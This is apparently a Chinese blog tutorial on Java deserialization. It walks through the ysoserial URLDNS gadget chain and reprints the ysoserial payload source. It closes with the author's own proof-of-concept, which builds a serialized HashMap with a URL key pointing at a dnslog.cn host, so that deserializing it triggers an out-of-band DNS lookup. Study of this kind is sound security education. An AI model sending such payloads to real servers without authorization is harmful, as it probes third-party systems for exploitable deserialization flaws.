反序列化之URLDNS

文章目录

  • 什么是序列化?
    • 序列化的流程
    • 代码实现
  • 什么是URLDNS?
    • 利用链分析
    • 代码验证

什么是序列化?

序列化:把对象转化为可传输的字节序列过程称为序列化
反序列化:把字节序列还原为对象的过程称为反序列化

序列化的流程

1.生成class类实例对象;
2.创建OutputStream对象;
3.OutputStream对象调用writeObject方法序列化类实例对象,作为类实例对象序列化后的输出流。可插入自定义数据,写入的对象放在序列化流的objectAnnotation中;
4.创建ObjectInputStream对象;
5.ObjectInputStream对象使用readObject方法对反序列化.

代码实现

想要被序列化的类只需要implements Serializable接口就可以了,这个接口是一个标记接口,不包括任何方法,只要在类定义中实现该方法就可以了
但是如果想在序列化中自己定制一些操作,可以为你的类添加如下两个类:
private void writeObject(ObjectOutputStream stream) throws IOException;
private void readObject(ObjectInputStream stream)throws IOException,ClassNotFoundException;
这样在你的类序列化的时候将会调用wirteObject方法,反序列化的时候会调用readObject方法。
还有另外一个技巧,在这两个方法内部,可以调用defaultWriteObject()或者defaultReadObject()方法来执行默认的操作。
在反序列化过程中如果开发者重写了readObject方法那么Java会优先使用这个重写的方法,所以如果开发者书写不当的话就会导致命令执行

一个序列化和反序列化的例子
package serialize;
import java.io.*;

class SerializeClass implements Serializable
{
    String test = "这是序列化类";

    private void writeObject(ObjectOutputStream stream) throws IOException

    {
        System.out.println("正在执行序列化");
        stream.defaultWriteObject();
        stream.writeObject("This is a object");

    }

    private void readObject(ObjectInputStream stream) throws IOException,ClassNotFoundException
    {
        System.out.println("正在执行反序列化");
        stream.defaultReadObject();
        String message = (String) stream.readObject();
        System.out.println(message);
    }

    public void print()

    {
        System.out.println(test);
    }

}

public class baserialize {

    public static void serialize() throws Exception

    {
        serialize.SerializeClass ob = new serialize.SerializeClass();
        FileOutputStream fileOut = new FileOutputStream(new File("ser1.ser"));
        ObjectOutputStream obOut = new ObjectOutputStream(fileOut);
        obOut.writeObject(ob);
        obOut.close();
        fileOut.close();
    }

    public static void unserialize() throws Exception

    {
        FileInputStream fileOut = new FileInputStream("ser1.ser");
        ObjectInputStream obOut = new ObjectInputStream(fileOut);
        serialize.SerializeClass ob = (serialize.SerializeClass) obOut.readObject();
        ob.print();
        obOut.close();
        fileOut.close();

    }

    public static void main(String[] args) throws Exception

    {
        serialize();
        unserialize();
    }

}

代码执行结果:
反序列化之URLDNS_第1张图片

反序列化之URLDNS_第2张图片用SerializationDumper查看此时生成的序列化数据,可以发现,成功向stream里写入了一个字符串 This is a object 放在 objectAnnotation 的位置。如果以0xac ed开头,那么他就是这一段java序列化的16进制。

什么是URLDNS?

URLDNS就是ysoserial中⼀个利用链gadget chains的名字,使⽤Java内置的类构造,不需要依赖第三方的包,不限制jdk的版本,在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。
ps:下面主要参考文章
代码来源:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 * A blog post with more details about this gadget chain is at the url below:
 *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
 *
 *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
 *   posting describing how he modified the Java Commons Collections gadget
 *   in ysoserial to open a URL. This takes the same idea, but eliminates
 *   the dependency on Commons Collections and does a DNS lookup with just
 *   standard JDK classes.
 *
 *   The Java URL class has an interesting property on its equals and
 *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
 *   during a comparison (either equals or hashCode).
 *
 *   As part of deserialization, HashMap calls hashCode on each key that it
 *   deserializes, so using a Java URL object as a serialized key allows
 *   it to trigger a DNS lookup.
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * 

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.

* * Potential false negative: *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.

*/ static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } }

利用链分析

第一步是main方法中调用PayloadRunner.run(URLDNS.class, args);
根据import导包说明可以发现
该方法位于 ysoserial.payloads.util.PayloadRunner;
反序列化之URLDNS_第3张图片通过代码可以看到,run方法会通过getObject方法来获得要序列化的对象,然后将对象序列化之后返回字节序列。
所以回头看getObject方法可以发现,这个方法返回的是一个Hashmap对象,说明这个对象就是要反序列化的对象。
反序列化之URLDNS_第4张图片之前介绍时说过,反序列化会调用对象的readObject方法,所以我们直接从readObject开始分析:
反序列化之URLDNS_第5张图片前面的操作不是我们关注的点,重点在hash(key)这里,跟进去看看:
image.png可以看到,如果key不等于null,就会调用key.hashcode方法。这时候接下来操作如何就要看hashmap中保存的key是什么了。通过getObject方法中的代码可以看到,代码中传入了一个URL对象,所以接下来就要看URL类中的hashcode方法:
在这里插入图片描述通过代码可以看出,首先判断了一下对象成员hashCode是否等于-1,如果不等于-1就直接返回hashcode的值。如果等于-1则执行handler.hashCode(this);
接下来继续跟下去,看看handler是什么对象:
在这里插入图片描述可以看出,handler是URLStreamHandler对象,接下来继续看一下URLStreamHandler类中hashCode方法的定义:
反序列化之URLDNS_第6张图片可以看到,这个方法调用了getHostAddress,继续跟下去:
反序列化之URLDNS_第7张图片可以看到,首先根据URL获取域名,然后根据域名来解析成IP地址。在网络上就是一次DNS解析,这就可以通过DNSLOG这种第三方平台来验证是否存在反序列化漏洞了。

分析完利用链,发现ysoserial除了必要的操作还有一些其他的代码,研究了一下发现是因为调用Put方法向hashmap中存放数据的时候,这个put方法也调用了hash(key)方法:
image.png所以这样就会造成两次DNS解析。
于是ysoserial自己定义了一个继承自URLStreamHandler类的SilentURLStreamHandler类,并且重写了getHostAddress和openConnection方法,在初始化URL对象的时候将SilentURLStreamHandler的对象传进去。
image.png然后在URL的构造方法中会将我们的对象赋值为this.handler。
这样在调用put方法的时候,执行到handler.hashCode(this)的时候就不会触发DNS解析。

代码验证

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static  void serialize(final String url) throws Exception {
        //Avoid DNS resolution during payload creation
        //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL("http://gquhng.dnslog.cn"); // URL to use as the Key
        Class cla = u.getClass();
        Field fd = cla.getDeclaredField("hashCode");
        fd.setAccessible(true);
        fd.set(u,111);
        ht.put(u,url);
        fd.set(u,-1);
        FileOutputStream fileOut = new FileOutputStream("URLDNS");
        ObjectOutputStream obOut = new ObjectOutputStream(fileOut);
        obOut.writeObject(ht);
        obOut.close();
        fileOut.close();

    }

    public static void unserialize() throws Exception
    {
        FileInputStream fileOut = new FileInputStream("URLDNS");
        ObjectInputStream obOut = new ObjectInputStream(fileOut);
        HashMap ob = (HashMap) obOut.readObject();
        obOut.close();
        fileOut.close();
    }

    public static void main(String[] args) throws Exception
    {
        serialize("url");
        unserialize();
    }
}

反序列化之URLDNS_第8张图片

你可能感兴趣的:(笔记,java,jar,java-ee)